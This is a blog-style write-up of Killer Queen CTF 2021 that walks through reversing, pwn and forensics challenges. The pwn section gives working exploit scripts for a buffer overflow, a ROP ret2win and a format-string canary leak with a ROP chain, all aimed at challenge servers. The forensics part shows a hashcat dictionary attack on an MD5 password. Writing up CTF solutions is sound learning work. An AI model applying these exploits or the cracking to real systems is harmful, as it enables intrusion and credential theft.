All Articles

Killer Queen CTF 2021 WriteUp

This page has been machine-translated from the original page.

I participated in Killer Queen CTF 2021 as team 0neP@dding, and I wrote a short writeup only for the challenges I found interesting.

The scoreboard was closed as soon as the event ended, so unfortunately I do not know the final standings. We solved 14 challenges in total, and the last time I checked the scoreboard we were in 62nd place. (The final standing was probably around 100th.)

Given that nearly 1,000 teams participated, that is not bad, but personally I wanted to place in the top 50, so I need to keep improving.

Table of Contents

Rev

sneeki_snek

This was a reversing challenge involving Python bytecode generated as an intermediate .pyc file.

Once you inspect the bytecode, you can roughly tell what it does. From there, you can reconstruct the Python script, compile it in your own environment, and confirm that the generated bytecode matches the challenge bytecode to recover the flag.

  4           0 LOAD_CONST               1 ('')
              2 STORE_FAST               0 (f)

  5           4 LOAD_CONST               2 ('rwhxi}eomr\\^`Y')
              6 STORE_FAST               1 (a)

  6           8 LOAD_CONST               3 ('f]XdThbQd^TYL&\x13g')
             10 STORE_FAST               2 (z)

  7          12 LOAD_FAST                1 (a)
             14 LOAD_FAST                2 (z)
             16 BINARY_ADD
             18 STORE_FAST               1 (a)

  8          20 LOAD_GLOBAL              0 (enumerate)
             22 LOAD_FAST                1 (a)
             24 CALL_FUNCTION            1
             26 GET_ITER
        >>   28 FOR_ITER                48 (to 78)
             30 UNPACK_SEQUENCE          2
             32 STORE_FAST               3 (i)
             34 STORE_FAST               4 (b)

  9          36 LOAD_GLOBAL              1 (ord)
             38 LOAD_FAST                4 (b)
             40 CALL_FUNCTION            1
             42 STORE_FAST               5 (c)

 10          44 LOAD_FAST                5 (c)
             46 LOAD_CONST               4 (7)
             48 BINARY_SUBTRACT
             50 STORE_FAST               5 (c)

 11          52 LOAD_FAST                5 (c)
             54 LOAD_FAST                3 (i)
             56 BINARY_ADD
             58 STORE_FAST               5 (c)

 12          60 LOAD_GLOBAL              2 (chr)
             62 LOAD_FAST                5 (c)
             64 CALL_FUNCTION            1
             66 STORE_FAST               5 (c)

 13          68 LOAD_FAST                0 (f)
             70 LOAD_FAST                5 (c)
             72 INPLACE_ADD
             74 STORE_FAST               0 (f)
             76 JUMP_ABSOLUTE           28

 14     >>   78 LOAD_GLOBAL              3 (print)
             80 LOAD_FAST                0 (f)
             82 CALL_FUNCTION            1
             84 POP_TOP
             86 LOAD_CONST               0 (None)
             88 RETURN_VALUE

I used the following article as a reference for generating and inspecting bytecode.

Reference: Reading pyc file (Python 3.5.2) - Qiita

Here is the reconstructed Python script in the end.

f = ''
a = 'rwhxi}eomr\\^`Y'
z = 'f]XdThbQd^TYL&\x13g'
a = a + z
for i, b in enumerate(a):
    c = ord(b)
    c = c - 7
    c = c + i
    c = chr(c)
    f += c

print(f)

Running this gives the flag.

sneeki_snek2

The bytecode is a bit longer, but it can be solved with the same approach as the previous challenge.

  4           0 BUILD_LIST               0
              2 STORE_FAST               0 (a)

  5           4 LOAD_FAST                0 (a)
              6 LOAD_METHOD              0 (append)
              8 LOAD_CONST               1 (1739411)
             10 CALL_METHOD              1
             12 POP_TOP

  6          14 LOAD_FAST                0 (a)
             16 LOAD_METHOD              0 (append)
             18 LOAD_CONST               2 (1762811)
             20 CALL_METHOD              1
             22 POP_TOP

  7          24 LOAD_FAST                0 (a)
             26 LOAD_METHOD              0 (append)
             28 LOAD_CONST               3 (1794011)
             30 CALL_METHOD              1
             32 POP_TOP

  8          34 LOAD_FAST                0 (a)
             36 LOAD_METHOD              0 (append)
             38 LOAD_CONST               4 (1039911)
             40 CALL_METHOD              1
             42 POP_TOP

  9          44 LOAD_FAST                0 (a)
             46 LOAD_METHOD              0 (append)
             48 LOAD_CONST               5 (1061211)
             50 CALL_METHOD              1
             52 POP_TOP

 10          54 LOAD_FAST                0 (a)
             56 LOAD_METHOD              0 (append)
             58 LOAD_CONST               6 (1718321)
             60 CALL_METHOD              1
             62 POP_TOP

 11          64 LOAD_FAST                0 (a)
             66 LOAD_METHOD              0 (append)
             68 LOAD_CONST               7 (1773911)
             70 CALL_METHOD              1
             72 POP_TOP

 12          74 LOAD_FAST                0 (a)
             76 LOAD_METHOD              0 (append)
             78 LOAD_CONST               8 (1006611)
             80 CALL_METHOD              1
             82 POP_TOP

 13          84 LOAD_FAST                0 (a)
             86 LOAD_METHOD              0 (append)
             88 LOAD_CONST               9 (1516111)
             90 CALL_METHOD              1
             92 POP_TOP

 14          94 LOAD_FAST                0 (a)
             96 LOAD_METHOD              0 (append)
             98 LOAD_CONST               1 (1739411)
            100 CALL_METHOD              1
            102 POP_TOP

 15         104 LOAD_FAST                0 (a)
            106 LOAD_METHOD              0 (append)
            108 LOAD_CONST              10 (1582801)
            110 CALL_METHOD              1
            112 POP_TOP

 16         114 LOAD_FAST                0 (a)
            116 LOAD_METHOD              0 (append)
            118 LOAD_CONST              11 (1506121)
            120 CALL_METHOD              1
            122 POP_TOP

 17         124 LOAD_FAST                0 (a)
            126 LOAD_METHOD              0 (append)
            128 LOAD_CONST              12 (1783901)
            130 CALL_METHOD              1
            132 POP_TOP

 18         134 LOAD_FAST                0 (a)
            136 LOAD_METHOD              0 (append)
            138 LOAD_CONST              12 (1783901)
            140 CALL_METHOD              1
            142 POP_TOP

 19         144 LOAD_FAST                0 (a)
            146 LOAD_METHOD              0 (append)
            148 LOAD_CONST               7 (1773911)
            150 CALL_METHOD              1
            152 POP_TOP

 20         154 LOAD_FAST                0 (a)
            156 LOAD_METHOD              0 (append)
            158 LOAD_CONST              10 (1582801)
            160 CALL_METHOD              1
            162 POP_TOP

 21         164 LOAD_FAST                0 (a)
            166 LOAD_METHOD              0 (append)
            168 LOAD_CONST               8 (1006611)
            170 CALL_METHOD              1
            172 POP_TOP

 22         174 LOAD_FAST                0 (a)
            176 LOAD_METHOD              0 (append)
            178 LOAD_CONST              13 (1561711)
            180 CALL_METHOD              1
            182 POP_TOP

 23         184 LOAD_FAST                0 (a)
            186 LOAD_METHOD              0 (append)
            188 LOAD_CONST               4 (1039911)
            190 CALL_METHOD              1
            192 POP_TOP

 24         194 LOAD_FAST                0 (a)
            196 LOAD_METHOD              0 (append)
            198 LOAD_CONST              10 (1582801)
            200 CALL_METHOD              1
            202 POP_TOP

 25         204 LOAD_FAST                0 (a)
            206 LOAD_METHOD              0 (append)
            208 LOAD_CONST               7 (1773911)
            210 CALL_METHOD              1
            212 POP_TOP

 26         214 LOAD_FAST                0 (a)
            216 LOAD_METHOD              0 (append)
            218 LOAD_CONST              13 (1561711)
            220 CALL_METHOD              1
            222 POP_TOP

 27         224 LOAD_FAST                0 (a)
            226 LOAD_METHOD              0 (append)
            228 LOAD_CONST              10 (1582801)
            230 CALL_METHOD              1
            232 POP_TOP

 28         234 LOAD_FAST                0 (a)
            236 LOAD_METHOD              0 (append)
            238 LOAD_CONST               7 (1773911)
            240 CALL_METHOD              1
            242 POP_TOP

 29         244 LOAD_FAST                0 (a)
            246 LOAD_METHOD              0 (append)
            248 LOAD_CONST               8 (1006611)
            250 CALL_METHOD              1
            252 POP_TOP

 30         254 LOAD_FAST                0 (a)
            256 LOAD_METHOD              0 (append)
            258 LOAD_CONST               9 (1516111)
            260 CALL_METHOD              1
            262 POP_TOP

 31         264 LOAD_FAST                0 (a)
            266 LOAD_METHOD              0 (append)
            268 LOAD_CONST               9 (1516111)
            270 CALL_METHOD              1
            272 POP_TOP

 32         274 LOAD_FAST                0 (a)
            276 LOAD_METHOD              0 (append)
            278 LOAD_CONST               1 (1739411)
            280 CALL_METHOD              1
            282 POP_TOP

 33         284 LOAD_FAST                0 (a)
            286 LOAD_METHOD              0 (append)
            288 LOAD_CONST              14 (1728311)
            290 CALL_METHOD              1
            292 POP_TOP

 34         294 LOAD_FAST                0 (a)
            296 LOAD_METHOD              0 (append)
            298 LOAD_CONST              15 (1539421)
            300 CALL_METHOD              1
            302 POP_TOP

 36         304 LOAD_CONST              16 ('')
            306 STORE_FAST               1 (b)

 37         308 LOAD_FAST                0 (a)
            310 GET_ITER
        >>  312 FOR_ITER                80 (to 394)
            314 STORE_FAST               2 (i)

 38         316 LOAD_GLOBAL              1 (str)
            318 LOAD_FAST                2 (i)
            320 CALL_FUNCTION            1
            322 LOAD_CONST               0 (None)
            324 LOAD_CONST               0 (None)
            326 LOAD_CONST              17 (-1)
            328 BUILD_SLICE              3
            330 BINARY_SUBSCR
            332 STORE_FAST               3 (c)

 39         334 LOAD_FAST                3 (c)
            336 LOAD_CONST               0 (None)
            338 LOAD_CONST              17 (-1)
            340 BUILD_SLICE              2
            342 BINARY_SUBSCR
            344 STORE_FAST               3 (c)

 40         346 LOAD_GLOBAL              2 (int)
            348 LOAD_FAST                3 (c)
            350 CALL_FUNCTION            1
            352 STORE_FAST               3 (c)

 41         354 LOAD_FAST                3 (c)
            356 LOAD_CONST              18 (5)
            358 BINARY_XOR
            360 STORE_FAST               3 (c)

 42         362 LOAD_FAST                3 (c)
            364 LOAD_CONST              19 (55555)
            366 BINARY_SUBTRACT
            368 STORE_FAST               3 (c)

 43         370 LOAD_FAST                3 (c)
            372 LOAD_CONST              20 (555)
            374 BINARY_FLOOR_DIVIDE
            376 STORE_FAST               3 (c)

 44         378 LOAD_FAST                1 (b)
            380 LOAD_GLOBAL              3 (chr)
            382 LOAD_FAST                3 (c)
            384 CALL_FUNCTION            1
            386 INPLACE_ADD
            388 STORE_FAST               1 (b)
            390 EXTENDED_ARG             1
            392 JUMP_ABSOLUTE          312

 45     >>  394 LOAD_GLOBAL              4 (print)
            396 LOAD_FAST                1 (b)
            398 CALL_FUNCTION            1
            400 POP_TOP
            402 LOAD_CONST               0 (None)
            404 RETURN_VALUE

Here is the reconstructed Python script.

a = []
a.append(1739411)
a.append(1762811)
a.append(1794011)
a.append(1039911)
a.append(1061211)
a.append(1718321)
a.append(1773911)
a.append(1006611)
a.append(1516111)
a.append(1739411)
a.append(1582801)
a.append(1506121)
a.append(1783901)
a.append(1783901)
a.append(1773911)
a.append(1582801)
a.append(1006611)
a.append(1561711)
a.append(1039911)
a.append(1582801)
a.append(1773911)
a.append(1561711)
a.append(1582801)
a.append(1773911)
a.append(1006611)
a.append(1516111)
a.append(1516111)
a.append(1739411)
a.append(1728311)
a.append(1539421)
b = ''
for i in a:
    c = str(i)[::-1]
    c = c[:-1]
    c = int(c)
    c = c ^ 5
    c = c - 55555
    c = c // 555
    b += chr(c)

print(b)

Running this yields the flag.

jazz

You are given a JAR file and an encrypted text, so first extract the JAR.

jar -xvf challenge.jar 

That gave me the following Java source code.

import java.util.*;
import java.io.*;
public class challenge {
   public static void main(String[] args) throws FileNotFoundException {
      Scanner s = new Scanner(new BufferedReader(new FileReader("flag.txt")));
      String flag = s.nextLine();
      
      char[] r2 = flag.toCharArray();
      String build = "";
      for(int a = 0; a < r2.length; a++)
      {
         build += (char)(158 - r2[a]);
      }
      r2 = build.toCharArray();
      build = "";
      for(int a = 0; 2*a < r2.length - 1; a++)
      {
         build += (char)((2*r2[2*a]-r2[2*a+1]+153)%93+33);
         build += (char)((r2[2*a+1]-r2[2*a]+93)%93+33);
      }
      System.out.println(build);
   }
}

The flag is first encrypted with (char)(158 - r2[a]), and then encrypted again in pairs of two characters.

build += (char)((2*r2[2*a]-r2[2*a+1]+153)%93+33);
build += (char)((r2[2*a+1]-r2[2*a]+93)%93+33);

I wrote a script to reverse this process and recover the flag.

I identified the part encrypted in two-character pairs by brute-forcing the 128-byte range.

enc = """9xLmMiI2znmPam'D_A_1:RQ;Il\*7:%i".R<"""

base = ""
for i in range(0, len(enc), 2):
    l = enc[i]
    r = enc[i+1]
    for a in range(128):
        for b in range(128):
            v1 = 158 - a
            v2 = 158 - b
            if (chr((2*v1-v2+153)%93+33) == l) and (chr((v2-v1+93)%93+33) == r):
                if a > 33 and b > 33:
                    base += chr(a) + chr(b)
print(base)

The challenge itself was easy, but the originally provided ciphertext was corrupted, and even the corrected version still had issues, so it required some guesswork and ended up being oddly exhausting.

Unfortunately, it only gets one star from me.

gombalab

This was arguably the hardest challenge for me this time. I could not solve it before the end, so I am writing this while looking at the intended solution.

The challenge binary appears to be an ELF file built in Go.

After locating the main function, I found that you reach the flag by clearing each phase in order.

image.png

For starters, I looked at the first step, main.phase_1.

image-1.png

My reversing skills are not great, so honestly I could not tell much just by looking at this, haha.

However, when I did some dynamic analysis with GDB, I found that this branch is reached no matter what random input you give it.

I also found that local_108 appears to store the input length plus the newline.

  if (local_108 == 0x2a) {
    runtime.memequal();
  }

image-2.png

So main_phase1 seems to take a 41-character input and compare it against the string at 0x4d7f94.

So I entered For whom the bell tolls. Time marches on. and cleared the first hurdle.

Next, I looked at main_phase2.

image-3.png

Pwn

A Kind of Magic

This was a basic buffer overflow challenge.

from ptrlib import *
elf = ELF("./pwn01")
nopsled = b"\x41"*44
shellcode = b"\x39\x05\x00\x00"
payload = nopsled + shellcode

sock = Socket("143.198.184.186", 5000)
sock.sendline(payload)
sock.interactive()

I wasted time because I hard-coded the little-endian byte sequence incorrectly, so lesson learned.

HammerToFall

This one was pretty interesting.

The goal was to find an input that makes the following Python script print flag!.

import numpy as np

a = np.array([0], dtype=int)
val = int(input("This hammer hits so hard it creates negative matter\n"))
if val == -1:
	exit()
a[0] = val
a[0] = (a[0] * 7) + 1
print(a[0])
if a[0] == -1:
	print("flag!")

NumPy integers are limited to the range of signed 64-bit integers, and overflowed values are interpreted as the corresponding negative numbers. (If you are curious, look up two’s complement.)

So the correct input is 2635249153387078802, because multiplying it by 7 and adding 1 causes an overflow that is interpreted as exactly -1.

zoom2win

This was a simple ROP challenge, but the binary was 64-bit, and I got caught by the stack-alignment trap: the exploit worked locally but would not land remotely.

I used the following article as a reference and recovered the flag by skipping push rbp so the return-address byte count stayed aligned.

Reference: [Repost] Stack Alignment in Pwn - Qiita

from pwn import *

elf = ELF("/home/parrot/Downloads/zoom2win")
context.binary = elf

p = remote("143.198.184.186", 5003)
nopsled = b"\x41"*40
shellcode = p64(0x40119b)
payload = nopsled + shellcode
p.sendline(payload)
p.interactive()

This solver got the flag.

tweetbird

This challenge was about bypassing a stack canary and landing a ROP chain.

I managed to use a format-string attack to leak the canary bytes from memory, but for some reason the exploit still did not land, so I gave up.

Later I realized the problem: I was converting the leaked bytes from memory into little-endian before putting them into the payload, but since they were already leaked from memory, they were already in little-endian format… orz

So once I embedded the leaked canary bytes directly into the payload, the ROP chain worked and I got the flag.

from pwn import *
elf = ELF("/home/parrot/Downloads/tweetybirb")
context.binary = elf
nopsled = b"\x41"*72
payload = nopsled

p = process("/home/parrot/Downloads/tweetybirb")
# p = remote("143.198.184.186", 5002)
# shellcode = p64(0xc6a8b9f731892800)
# p.sendline(payload)
# p.sendline(b"A"*72 + b"%08x."*20)
r = p.recvline()
p.sendline("%15$p")
r = p.recvline()
shellcode = p64(int(r.strip(), 0x10))
shellcode2 = p64(0x4011db)
p.sendline(payload + shellcode + b'\x41'*8 + shellcode2)
p.interactive()

This works.

Forensic

Obligatory Shark

The provided pcap turned out to contain Telnet traffic.

Since Telnet is plaintext, I could recover the password.

The password looked like an MD5 hash, so I ran a dictionary attack with Hashcat, recovered the original password, and got the flag.

hashcat -a 0 -m 0 list.hash /usr/share/wordlists/rockyou.txt

Shes A Killed Queen

The file provided was a corrupted PNG.

After inspecting it, I found that the IHDR chunk size had been set to 0 x 0, so repairing that seemed to be the right approach.

If you just write in arbitrary values, the CRC check fails, so I used png-parser to obtain the correct CRC and then brute-force the dimensions.

from binascii import crc32

correct_crc = int('0db3f6c0',16)

for h in range(2000):
    for w in range(2000):
        data = (
            b"\x49\x48\x44\x52"
            + w.to_bytes(4, byteorder="big")
            + h.to_bytes(4, byteorder="big")
            + b"\x08\x06\x00\x00\x00"
        )
        if crc32(data) & 0xffffffff == correct_crc:
            print("Width: ", end="")
            print(hex(w))
            print("Height :", end="")
            print(hex(h))
            exit()

That gave me the correct IHDR chunk size, so I patched the file in a binary editor and restored the image.

After running steganography on the restored image, I got the following ciphertext, but I could not solve it and had to give up.

queen-cipher.jpg

Apparently it was a known cipher called Mary Stuart Code, and it could be decoded with Mary Queen of Scots Cipher/Code - Online Decoder, Translator.

I even tried image searches and similar ideas, but I still fell just short of the flag.

Summary

Killer Queen CTF 2021 had nearly 1,000 participating teams and even sponsors, but there were many infrastructure issues with the challenge servers and quite a few problems with the challenges themselves, so it was a pretty rough event.

The scoreboard was constantly buggy, and at one point you had to DM the organizers just to log in, which made it a rather rare experience for a CTF of this size.